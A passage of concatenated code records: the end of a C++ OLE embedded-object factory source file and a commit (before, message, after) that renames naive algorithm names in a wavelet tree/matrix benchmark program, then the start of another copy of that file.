reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            1 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            2 );\n\n    uno::Reference< container::XNameAccess > xNameAccess( xStorage, uno::UNO_QUERY );\n    if ( !xNameAccess.is() )\n        throw uno::RuntimeException(); \/\/TODO\n\n    \/\/ detect entry existence\n    if ( !xNameAccess->hasByName( sEntName ) )\n        throw container::NoSuchElementException();\n\n    if ( !xStorage->isStreamElement( sEntName ) )\n    {\n        \/\/ if it is not an OLE object throw an exception\n        throw io::IOException(); \/\/ TODO:\n    }\n\n    uno::Reference< uno::XInterface > xResult(\n                    static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, sal_False ) ),\n                    uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n\n    if ( !xPersist.is() )\n        throw uno::RuntimeException(); \/\/ TODO: the interface must be supported by own document objects\n\n    xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::DEFAULT_INIT,\n                                    aMedDescr,\n                                    lObjArgs );\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceInitFromMediaDescriptor(\n        const uno::Reference< embed::XStorage >& xStorage,\n        const ::rtl::OUString& sEntName,\n        const uno::Sequence< beans::PropertyValue >& aMediaDescr,\n        const uno::Sequence< beans::PropertyValue >& lObjArgs )\n    throw ( lang::IllegalArgumentException,\n            io::IOException,\n            uno::Exception,\n            uno::RuntimeException)\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceInitFromMediaDescriptor\" );\n\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            1 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            2 );\n\n    uno::Reference< uno::XInterface > xResult(\n                    static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, sal_False ) ),\n                    uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n\n    if ( !xPersist.is() )\n        throw uno::RuntimeException(); \/\/ TODO: the interface must be supported ( what about applets? )\n\n    xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::MEDIA_DESCRIPTOR_INIT,\n                                    aMediaDescr,\n                                    lObjArgs );\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceInitNew(\n                                            const uno::Sequence< sal_Int8 >& aClassID,\n                                            const ::rtl::OUString& aClassName,\n                                            const uno::Reference< embed::XStorage >& xStorage,\n                                            const ::rtl::OUString& sEntName,\n                                            const uno::Sequence< beans::PropertyValue >& lObjArgs )\n    throw ( lang::IllegalArgumentException,\n            io::IOException,\n            uno::Exception,\n            uno::RuntimeException)\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceInitNew\" );\n\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            3 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            4 );\n\n    uno::Reference< uno::XInterface > xResult(\n                    static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, aClassID, aClassName ) ),\n                    uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n\n    if ( !xPersist.is() )\n        throw uno::RuntimeException(); \/\/ TODO: the interface must be supported by own document objects\n\n    xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::TRUNCATE_INIT,\n                                    uno::Sequence< beans::PropertyValue >(),\n                                    lObjArgs );\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceLink(\n                                            const uno::Reference< embed::XStorage >& xStorage,\n                                            const ::rtl::OUString& sEntName,\n                                            const uno::Sequence< beans::PropertyValue >& aMediaDescr,\n                                            const uno::Sequence< beans::PropertyValue >& lObjArgs )\n        throw ( lang::IllegalArgumentException,\n                io::IOException,\n                uno::Exception,\n                uno::RuntimeException )\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceLink\" );\n\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >(\n                                                reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            1 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >(\n                                                reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            2 );\n\n    uno::Reference< uno::XInterface > xResult(\n                static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, sal_True ) ),\n                uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n\n    if ( !xPersist.is() )\n        throw uno::RuntimeException(); \/\/ TODO: the interface must be supported by own document objects\n\n    xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::MEDIA_DESCRIPTOR_INIT,\n                                    aMediaDescr,\n                                    lObjArgs );\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Reference< uno::XInterface > SAL_CALL OleEmbeddedObjectFactory::createInstanceUserInit(\n            const uno::Sequence< sal_Int8 >& aClassID,\n            const ::rtl::OUString& aClassName,\n            const uno::Reference< embed::XStorage >& xStorage,\n            const ::rtl::OUString& sEntName,\n            sal_Int32 \/*nEntryConnectionMode*\/,\n            const uno::Sequence< beans::PropertyValue >& \/*lArguments*\/,\n            const uno::Sequence< beans::PropertyValue >& lObjArgs )\n    throw ( lang::IllegalArgumentException,\n            io::IOException,\n            uno::Exception,\n            uno::RuntimeException )\n{\n    RTL_LOGFILE_CONTEXT( aLog, \"embeddedobj (mv76033) OleEmbeddedObjectFactory::createInstanceUserInit\" );\n\n    \/\/ the initialization is completelly controlled by user\n    if ( !xStorage.is() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"No parent storage is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            1 );\n\n    if ( !sEntName.getLength() )\n        throw lang::IllegalArgumentException( ::rtl::OUString::createFromAscii( \"Empty element name is provided!\\n\" ),\n                                            uno::Reference< uno::XInterface >( reinterpret_cast< ::cppu::OWeakObject* >(this) ),\n                                            2 );\n\n    uno::Reference< uno::XInterface > xResult(\n                static_cast< ::cppu::OWeakObject* > ( new OleEmbeddedObject( m_xFactory, aClassID, aClassName ) ),\n                uno::UNO_QUERY );\n\n    uno::Reference< embed::XEmbedPersist > xPersist( xResult, uno::UNO_QUERY );\n    if ( xPersist.is() )\n    {\n        xPersist->setPersistentEntry( xStorage,\n                                    sEntName,\n                                    embed::EntryInitModes::DEFAULT_INIT,\n                                    uno::Sequence< beans::PropertyValue >(),\n                                    lObjArgs );\n\n    }\n    else\n        throw uno::RuntimeException(); \/\/ TODO:\n\n    return xResult;\n}\n\n\/\/-------------------------------------------------------------------------\n::rtl::OUString SAL_CALL OleEmbeddedObjectFactory::getImplementationName()\n    throw ( uno::RuntimeException )\n{\n    return impl_staticGetImplementationName();\n}\n\n\/\/-------------------------------------------------------------------------\nsal_Bool SAL_CALL OleEmbeddedObjectFactory::supportsService( const ::rtl::OUString& ServiceName )\n    throw ( uno::RuntimeException )\n{\n    uno::Sequence< ::rtl::OUString > aSeq = impl_staticGetSupportedServiceNames();\n\n    for ( sal_Int32 nInd = 0; nInd < aSeq.getLength(); nInd++ )\n        if ( ServiceName.compareTo( aSeq[nInd] ) == 0 )\n            return sal_True;\n\n    return sal_False;\n}\n\n\/\/-------------------------------------------------------------------------\nuno::Sequence< ::rtl::OUString > SAL_CALL OleEmbeddedObjectFactory::getSupportedServiceNames()\n    throw ( uno::RuntimeException )\n{\n    return impl_staticGetSupportedServiceNames();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n * src\/benchmark.cpp\n *\n * Copyright (C) 2017 Florian Kurpicz <florian.kurpicz@tu-dortmund.de>\n *\n * All rights reserved. Published under the BSD-2 license in the LICENSE file.\n ******************************************************************************\/\n\n#include <tlx\/cmdline_parser.hpp>\n#include <vector>\n\n#include \"benchmark\/algorithm.hpp\"\n#include \"util\/alphabet_util.hpp\"\n#include \"util\/file_util.hpp\"\n#include \"util\/print.hpp\"\n#include \"util\/structure_decode.hpp\"\n\n#ifdef MALLOC_COUNT\n#include \"benchmark\/malloc_count.h\"\n#endif \/\/ MALLOC_COUNT\n\n#define GUARD_LOOP(x) if (!(x)) { continue; }\n\nauto filter_parallel(bool only_parallel, bool is_parallel) {\n  return (!only_parallel || is_parallel);\n}\n\nauto filter_sequential(bool sequential, bool is_parallel) {\n  return (!sequential || !is_parallel);\n}\n\nauto filter_wavelet_type(bool is_tree, bool no_trees, bool no_matrices) {\n  return (is_tree ? !no_trees : !no_matrices);\n}\n\nint32_t main(int32_t argc, char const* argv[]) {\n  std::vector<std::string> file_paths;\n  std::string filter = \"\";\n  unsigned int word_width = 1;\n  unsigned int nr_runs = 5;\n  bool list_algorithms_only = false;\n  bool run_only_parallel = false;\n  bool run_only_sequential = false;\n  bool run_only_huffman = false;\n  bool no_trees = false;\n  bool no_matrices = false;\n  bool memory = false;\n  bool check = false;\n  bool debug_print = false;\n\n  tlx::CmdlineParser cp;\n\n  cp.set_description(\"Parallel Wavelet Tree and Wavelet Matrix Construction\");\n  cp.set_author(\"Florian Kurpicz <florian.kurpicz@tu-dortmund.de>\\n\"\n    \"        Marvin Löbel <loebel.marvin@gmail.com>\");\n\n  cp.add_stringlist('f', \"file\", file_paths, \"Path(s) to the text file(s).\");\n  cp.add_string('n', \"name\", filter,\n        \"Runs all algorithms that contain the <name> in their name\");\n  cp.add_uint('b', \"byte\", word_width, \"Bytes per char in the input text.\");\n  cp.add_uint('r', \"runs\", nr_runs,\n    \"Number of repetitions of the construction algorithm.\");\n  cp.add_flag('l', \"list\", list_algorithms_only,\n    \"Print the name and description of all registered algorithms\");\n\n  cp.add_flag('p', \"parallel\", run_only_parallel,\n    \"Run only parallel construction algorithms.\");\n  cp.add_flag('s', \"sequential\", run_only_sequential,\n    \"Run only sequential construction algorithms.\");\n  cp.add_flag('h', \"huffman\", run_only_huffman,\n    \"Run only huffman-shaped construction algorithms.\");\n  cp.add_flag('\\0', \"no_trees\", no_trees,\n    \"Skip all wavelet trees construction algorithms.\");\n  cp.add_flag('\\0', \"no_matrices\", no_matrices,\n    \"Skip all wavelet matrices construction algorithms.\");\n\n  cp.add_flag('\\0', \"memory\", memory,\n    \"Compute peak memory during construction.\");\n  cp.add_flag('c', \"check\", check,\n    \"Check the constructed wavelet structure for validity.\");\n  cp.add_flag('d', \"debug_print\", debug_print,\n    \"Output the bit vectors in a human readable format to stdout.\");\n\n  if (!cp.process(argc, argv)) {\n    return -1;\n  }\n\n  int returncode = 0;\n\n  auto& algo_list = algorithm_list::get_algorithm_list();\n  if (list_algorithms_only) {\n    for (const auto& a : algo_list) {\n      a->print_info();\n    }\n    return 0;\n  }\n\n  for (const auto& path : file_paths) {\n    std::cout << std::endl << \"Text: \" << path << std::endl;\n    void* txt_prt = nullptr;\n    uint64_t text_size = 0;\n    uint64_t max_char = 0;\n    uint64_t levels = 0;\n    std::vector<uint8_t> text_uint8;\n    std::vector<uint16_t> text_uint16;\n    std::vector<uint32_t> text_uint32;\n    std::vector<uint64_t> text_uint64;\n#ifdef MALLOC_COUNT\n    malloc_count_reset_peak();\n#endif\n    if (word_width == 1) {\n      text_uint8 = file_to_vector<1>(path);\n      text_size = text_uint8.size();\n      max_char = reduce_alphabet(text_uint8);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint8;\n    } else if (word_width == 2) {\n      text_uint16 = file_to_vector<2>(path);\n      text_size = text_uint16.size();\n      max_char = reduce_alphabet(text_uint16);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint16;\n    } else if (word_width == 4) {\n      text_uint32 = file_to_vector<4>(path);\n      text_size = text_uint32.size();\n      max_char = reduce_alphabet(text_uint32);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint32;\n    } else if (word_width == 8) {\n      text_uint64 = file_to_vector<8>(path);\n      text_size = text_uint64.size();\n      max_char = reduce_alphabet(text_uint64);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint64;\n    } else {\n      std::cerr << \"You entered an invalid number of bytes per character \"\n                   \"(parameter 'b').\" << std::endl;\n      return -1;\n    }\n    std::cout << \"Characters: \" << text_size << std::endl;\n#ifdef MALLOC_COUNT\n    if (memory) {\n      std::cout << \"Memory peak text: \" << malloc_count_peak() << \" B, \"\n                << malloc_count_peak() \/ (1024 * 1024) << \" MiB\" << std::endl;\n    }\n#endif \/\/ MALLOC_COUNT\n    for (const auto& a : algo_list) {\n      GUARD_LOOP(filter == \"\" || (a->name().find(filter) != std::string::npos));\n      GUARD_LOOP(a->word_width() == word_width);\n      GUARD_LOOP(filter_parallel(run_only_parallel, a->is_parallel()));\n      GUARD_LOOP(filter_sequential(run_only_sequential, a->is_parallel()));\n      GUARD_LOOP(filter_wavelet_type(a->is_tree(), no_trees, no_matrices));\n      GUARD_LOOP((!run_only_huffman) || a->is_huffman_shaped());\n\n      std::cout << \"RESULT \" << \"algo=\" << a->name() << ' ';\n      if (memory) {\n#ifdef MALLOC_COUNT\n        malloc_count_reset_peak();\n        a->memory_peak(txt_prt, text_size, levels);\n        std::cout << \"memory=\" << malloc_count_peak() << ' ';\n#else\n        std::cout << \"Memory measurement is NOT enabled.\"\n                  << std::endl;\n#endif \/\/ MALLOC_COUNT\n      }\n      std::cout << \"runs=\" << nr_runs << \" \";\n      if (nr_runs > 0) {\n        std::cout << \"median_time=\" << a->median_time(\n          txt_prt, text_size, levels, nr_runs) << ' ';\n      }\n      std::cout << \"input=\" << path << ' '\n                << \"characters=\" << text_size << ' '\n                << \"word_width=\" << word_width << std::endl;\n\n      if (debug_print || check) {\n        auto structure =\n          a->compute_bitvector(txt_prt, text_size, levels);\n        if (debug_print) {\n          print_structure(std::cout, structure, true);\n        }\n        if (check) {\n          if (word_width != 1) {\n            std::cout << \"WARNING:\"\n                      << \" Can only check texts over 1-byte alphabets\\n\";\n          } else {\n            construction_algorithm const* naive = nullptr;\n            if ((a->is_tree()) && !(a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wt_naive\";\n              }).at(0);\n            }\n            if (!(a->is_tree()) && !(a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wm_naive\";\n              }).at(0);\n            }\n            if ((a->is_tree()) && (a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"huff_wt_naive\";\n              }).at(0);\n            }\n            if (!(a->is_tree()) && (a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"huff_wm_naive\";\n              }).at(0);\n            }\n            assert(naive != nullptr);\n            auto naive_wx =\n            naive->compute_bitvector(txt_prt, text_size, levels);\n            bool err_trigger = false;\n            auto check_err = [&](bool cond, auto const& msg) {\n              if (!cond) {\n                std::cout << \"ERROR: \" << msg << std::endl;\n                err_trigger = true;\n              }\n              return cond;\n            };\n\n            if (check_err(structure.levels() == naive_wx.levels(),\n                          \"structures have different level sizes\")) {\n              if (!a->is_tree()) {\n                size_t sl = structure.levels();\n                check_err(structure.zeros().size() == sl,\n                          \"structure zeros too short\");\n                if (sl > 0) {\n                  auto sz = structure.zeros();\n                  auto nz = naive_wx.zeros();\n                  sz.pop_back();\n                  nz.pop_back();\n                  check_err(sz == nz, \"zeros arrays differ\");\n                }\n              }\n              auto& sbvs = structure.bvs();\n              auto& nbvs = naive_wx.bvs();\n              for (size_t l = 0; l < structure.levels(); l++) {\n                auto sbs = sbvs.level_bit_size(l);\n                auto nbs = nbvs.level_bit_size(l);\n                if(check_err(sbs == nbs,\n                             std::string(\"bit size differs on level \")\n                             + std::to_string(l))) {\n                  for (uint64_t bi = 0; bi < sbs; bi++) {\n                    if(!check_err(\n                      bit_at(sbvs[l], bi) == bit_at(nbvs[l], bi),\n                       std::string(\"bit \")\n                       + std::to_string(bi)\n                       + \" differs on level \"\n                       + std::to_string(l))) {\n                      break;\n                    }\n                  }\n                }\n              }\n            }\n            if (err_trigger) {\n              returncode = -2;\n            } else {\n              std::cout << \"Output structurally OK\" << std::endl;\n            }\n\n            if (err_trigger) {\n              if (!debug_print) {\n                std::cout << \"Output:\\n\";\n                print_structure(std::cout, structure, true);\n              }\n              std::cout << \"Naive result as comparison:\\n\";\n              print_structure(std::cout, naive_wx, true);\n            }\n\n            auto pvec = [](auto const& v) {\n              std::cout << \"[\";\n              for (auto e : v) {\n                  std::cout << uint64_t(e) << \", \";\n              }\n              std::cout << \"]\\n\";\n            };\n\n            std::string decoded_ = decode_structure(structure);\n            std::vector<uint8_t> decoded(decoded_.begin(), decoded_.end());\n            if (std::equal(text_uint8.begin(), text_uint8.end(),\n                           decoded.begin(), decoded.end())) {\n              std::cout << \"Output decoded OK\" << std::endl;\n            } else {\n              std::cout << \"ERROR:\"\n                        << \"Decoded output not equal to input!\"\n                        << std::endl;\n              std::cout << \"Input:\" << std::endl;\n              pvec(text_uint8);\n              std::cout << \"Decoded:\" << std::endl;\n              pvec(decoded);\n            }\n          }\n          std::cout << std::endl;\n        }\n      }\n    }\n  }\n  return returncode;\n}\n\n\/******************************************************************************\/\n<commit_msg>Fix naming in benchmark.cpp<commit_after>\/*******************************************************************************\n * src\/benchmark.cpp\n *\n * Copyright (C) 2017 Florian Kurpicz <florian.kurpicz@tu-dortmund.de>\n *\n * All rights reserved. Published under the BSD-2 license in the LICENSE file.\n ******************************************************************************\/\n\n#include <tlx\/cmdline_parser.hpp>\n#include <vector>\n\n#include \"benchmark\/algorithm.hpp\"\n#include \"util\/alphabet_util.hpp\"\n#include \"util\/file_util.hpp\"\n#include \"util\/print.hpp\"\n#include \"util\/structure_decode.hpp\"\n\n#ifdef MALLOC_COUNT\n#include \"benchmark\/malloc_count.h\"\n#endif \/\/ MALLOC_COUNT\n\n#define GUARD_LOOP(x) if (!(x)) { continue; }\n\nauto filter_parallel(bool only_parallel, bool is_parallel) {\n  return (!only_parallel || is_parallel);\n}\n\nauto filter_sequential(bool sequential, bool is_parallel) {\n  return (!sequential || !is_parallel);\n}\n\nauto filter_wavelet_type(bool is_tree, bool no_trees, bool no_matrices) {\n  return (is_tree ? !no_trees : !no_matrices);\n}\n\nint32_t main(int32_t argc, char const* argv[]) {\n  std::vector<std::string> file_paths;\n  std::string filter = \"\";\n  unsigned int word_width = 1;\n  unsigned int nr_runs = 5;\n  bool list_algorithms_only = false;\n  bool run_only_parallel = false;\n  bool run_only_sequential = false;\n  bool run_only_huffman = false;\n  bool no_trees = false;\n  bool no_matrices = false;\n  bool memory = false;\n  bool check = false;\n  bool debug_print = false;\n\n  tlx::CmdlineParser cp;\n\n  cp.set_description(\"Parallel Wavelet Tree and Wavelet Matrix Construction\");\n  cp.set_author(\"Florian Kurpicz <florian.kurpicz@tu-dortmund.de>\\n\"\n    \"        Marvin Löbel <loebel.marvin@gmail.com>\");\n\n  cp.add_stringlist('f', \"file\", file_paths, \"Path(s) to the text file(s).\");\n  cp.add_string('n', \"name\", filter,\n        \"Runs all algorithms that contain the <name> in their name\");\n  cp.add_uint('b', \"byte\", word_width, \"Bytes per char in the input text.\");\n  cp.add_uint('r', \"runs\", nr_runs,\n    \"Number of repetitions of the construction algorithm.\");\n  cp.add_flag('l', \"list\", list_algorithms_only,\n    \"Print the name and description of all registered algorithms\");\n\n  cp.add_flag('p', \"parallel\", run_only_parallel,\n    \"Run only parallel construction algorithms.\");\n  cp.add_flag('s', \"sequential\", run_only_sequential,\n    \"Run only sequential construction algorithms.\");\n  cp.add_flag('h', \"huffman\", run_only_huffman,\n    \"Run only huffman-shaped construction algorithms.\");\n  cp.add_flag('\\0', \"no_trees\", no_trees,\n    \"Skip all wavelet trees construction algorithms.\");\n  cp.add_flag('\\0', \"no_matrices\", no_matrices,\n    \"Skip all wavelet matrices construction algorithms.\");\n\n  cp.add_flag('\\0', \"memory\", memory,\n    \"Compute peak memory during construction.\");\n  cp.add_flag('c', \"check\", check,\n    \"Check the constructed wavelet structure for validity.\");\n  cp.add_flag('d', \"debug_print\", debug_print,\n    \"Output the bit vectors in a human readable format to stdout.\");\n\n  if (!cp.process(argc, argv)) {\n    return -1;\n  }\n\n  int returncode = 0;\n\n  auto& algo_list = algorithm_list::get_algorithm_list();\n  if (list_algorithms_only) {\n    for (const auto& a : algo_list) {\n      a->print_info();\n    }\n    return 0;\n  }\n\n  for (const auto& path : file_paths) {\n    std::cout << std::endl << \"Text: \" << path << std::endl;\n    void* txt_prt = nullptr;\n    uint64_t text_size = 0;\n    uint64_t max_char = 0;\n    uint64_t levels = 0;\n    std::vector<uint8_t> text_uint8;\n    std::vector<uint16_t> text_uint16;\n    std::vector<uint32_t> text_uint32;\n    std::vector<uint64_t> text_uint64;\n#ifdef MALLOC_COUNT\n    malloc_count_reset_peak();\n#endif\n    if (word_width == 1) {\n      text_uint8 = file_to_vector<1>(path);\n      text_size = text_uint8.size();\n      max_char = reduce_alphabet(text_uint8);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint8;\n    } else if (word_width == 2) {\n      text_uint16 = file_to_vector<2>(path);\n      text_size = text_uint16.size();\n      max_char = reduce_alphabet(text_uint16);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint16;\n    } else if (word_width == 4) {\n      text_uint32 = file_to_vector<4>(path);\n      text_size = text_uint32.size();\n      max_char = reduce_alphabet(text_uint32);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint32;\n    } else if (word_width == 8) {\n      text_uint64 = file_to_vector<8>(path);\n      text_size = text_uint64.size();\n      max_char = reduce_alphabet(text_uint64);\n      levels = levels_for_max_char(max_char);\n      txt_prt = &text_uint64;\n    } else {\n      std::cerr << \"You entered an invalid number of bytes per character \"\n                   \"(parameter 'b').\" << std::endl;\n      return -1;\n    }\n    std::cout << \"Characters: \" << text_size << std::endl;\n#ifdef MALLOC_COUNT\n    if (memory) {\n      std::cout << \"Memory peak text: \" << malloc_count_peak() << \" B, \"\n                << malloc_count_peak() \/ (1024 * 1024) << \" MiB\" << std::endl;\n    }\n#endif \/\/ MALLOC_COUNT\n    for (const auto& a : algo_list) {\n      GUARD_LOOP(filter == \"\" || (a->name().find(filter) != std::string::npos));\n      GUARD_LOOP(a->word_width() == word_width);\n      GUARD_LOOP(filter_parallel(run_only_parallel, a->is_parallel()));\n      GUARD_LOOP(filter_sequential(run_only_sequential, a->is_parallel()));\n      GUARD_LOOP(filter_wavelet_type(a->is_tree(), no_trees, no_matrices));\n      GUARD_LOOP((!run_only_huffman) || a->is_huffman_shaped());\n\n      std::cout << \"RESULT \" << \"algo=\" << a->name() << ' ';\n      if (memory) {\n#ifdef MALLOC_COUNT\n        malloc_count_reset_peak();\n        a->memory_peak(txt_prt, text_size, levels);\n        std::cout << \"memory=\" << malloc_count_peak() << ' ';\n#else\n        std::cout << \"Memory measurement is NOT enabled.\"\n                  << std::endl;\n#endif \/\/ MALLOC_COUNT\n      }\n      std::cout << \"runs=\" << nr_runs << \" \";\n      if (nr_runs > 0) {\n        std::cout << \"median_time=\" << a->median_time(\n          txt_prt, text_size, levels, nr_runs) << ' ';\n      }\n      std::cout << \"input=\" << path << ' '\n                << \"characters=\" << text_size << ' '\n                << \"word_width=\" << word_width << std::endl;\n\n      if (debug_print || check) {\n        auto structure =\n          a->compute_bitvector(txt_prt, text_size, levels);\n        if (debug_print) {\n          print_structure(std::cout, structure, true);\n        }\n        if (check) {\n          if (word_width != 1) {\n            std::cout << \"WARNING:\"\n                      << \" Can only check texts over 1-byte alphabets\\n\";\n          } else {\n            construction_algorithm const* naive = nullptr;\n            if ((a->is_tree()) && !(a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wt_naive\";\n              }).at(0);\n            }\n            if (!(a->is_tree()) && !(a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wm_naive\";\n              }).at(0);\n            }\n            if ((a->is_tree()) && (a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wt_huff_naive\";\n              }).at(0);\n            }\n            if (!(a->is_tree()) && (a->is_huffman_shaped())) {\n              naive = algo_list.filtered([](auto e) {\n                return e->name() == \"wm_huff_naive\";\n              }).at(0);\n            }\n            assert(naive != nullptr);\n            auto naive_wx =\n            naive->compute_bitvector(txt_prt, text_size, levels);\n            bool err_trigger = false;\n            auto check_err = [&](bool cond, auto const& msg) {\n              if (!cond) {\n                std::cout << \"ERROR: \" << msg << std::endl;\n                err_trigger = true;\n              }\n              return cond;\n            };\n\n            if (check_err(structure.levels() == naive_wx.levels(),\n                          \"structures have different level sizes\")) {\n              if (!a->is_tree()) {\n                size_t sl = structure.levels();\n                check_err(structure.zeros().size() == sl,\n                          \"structure zeros too short\");\n                if (sl > 0) {\n                  auto sz = structure.zeros();\n                  auto nz = naive_wx.zeros();\n                  sz.pop_back();\n                  nz.pop_back();\n                  check_err(sz == nz, \"zeros arrays differ\");\n                }\n              }\n              auto& sbvs = structure.bvs();\n              auto& nbvs = naive_wx.bvs();\n              for (size_t l = 0; l < structure.levels(); l++) {\n                auto sbs = sbvs.level_bit_size(l);\n                auto nbs = nbvs.level_bit_size(l);\n                if(check_err(sbs == nbs,\n                             std::string(\"bit size differs on level \")\n                             + std::to_string(l))) {\n                  for (uint64_t bi = 0; bi < sbs; bi++) {\n                    if(!check_err(\n                      bit_at(sbvs[l], bi) == bit_at(nbvs[l], bi),\n                       std::string(\"bit \")\n                       + std::to_string(bi)\n                       + \" differs on level \"\n                       + std::to_string(l))) {\n                      break;\n                    }\n                  }\n                }\n              }\n            }\n            if (err_trigger) {\n              returncode = -2;\n            } else {\n              std::cout << \"Output structurally OK\" << std::endl;\n            }\n\n            if (err_trigger) {\n              if (!debug_print) {\n                std::cout << \"Output:\\n\";\n                print_structure(std::cout, structure, true);\n              }\n              std::cout << \"Naive result as comparison:\\n\";\n              print_structure(std::cout, naive_wx, true);\n            }\n\n            auto pvec = [](auto const& v) {\n              std::cout << \"[\";\n              for (auto e : v) {\n                  std::cout << uint64_t(e) << \", \";\n              }\n              std::cout << \"]\\n\";\n            };\n\n            std::string decoded_ = decode_structure(structure);\n            std::vector<uint8_t> decoded(decoded_.begin(), decoded_.end());\n            if (std::equal(text_uint8.begin(), text_uint8.end(),\n                           decoded.begin(), decoded.end())) {\n              std::cout << \"Output decoded OK\" << std::endl;\n            } else {\n              std::cout << \"ERROR:\"\n                        << \"Decoded output not equal to input!\"\n                        << std::endl;\n              std::cout << \"Input:\" << std::endl;\n              pvec(text_uint8);\n              std::cout << \"Decoded:\" << std::endl;\n              pvec(decoded);\n            }\n          }\n          std::cout << std::endl;\n        }\n      }\n    }\n  }\n  return returncode;\n}\n\n\/******************************************************************************\/\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n * src\/benchmark.cpp\n *\n * Copyright (C) 2017 Florian Kurpicz <florian.kurpicz@tu-dortmund.de>\n *\n * All rights reserved. Published under the BSD-2 license in the LICENSE file.\n ******************************************************************************\/\n\n#include <tlx\/cmdline_parser.hpp>\n#include <vector>\n\n#include \"benchmark\/algorithm.hpp\"\n#include \"util\/alphabet_util.hpp\"\n#include \"util\/file_util.hpp\"\n#include \"util\/print.hpp\"\n#include \"util\/structure_decode.hpp\"\n\n#ifdef MALLOC_COUNT\n#include \"benchmark\/malloc_count.h\"\n#endif \/\/ MALLOC_COUNT\n\n#define GUARD_LOOP(x) if (!(x)) { continue; }\n\nauto filter_parallel(bool only_parallel, bool is_parallel) {\n  return (!only_parallel || is_parallel);\n}\n\nauto filter_sequential(bool sequential, bool is_parallel) {\n  return (!sequential || !is_parallel);\n}\n\nauto filter_wavelet_type(bool is_tree, bool no_trees, bool no_matrices) {\n  return (is_tree ? !no_trees : !no_matrices);\n}\n\nint32_t main(int32_t argc, char const* argv[]) {\n  std::vector<std::string> file_paths;\n  std::string filter = \"\";\n  unsigned int word_width = 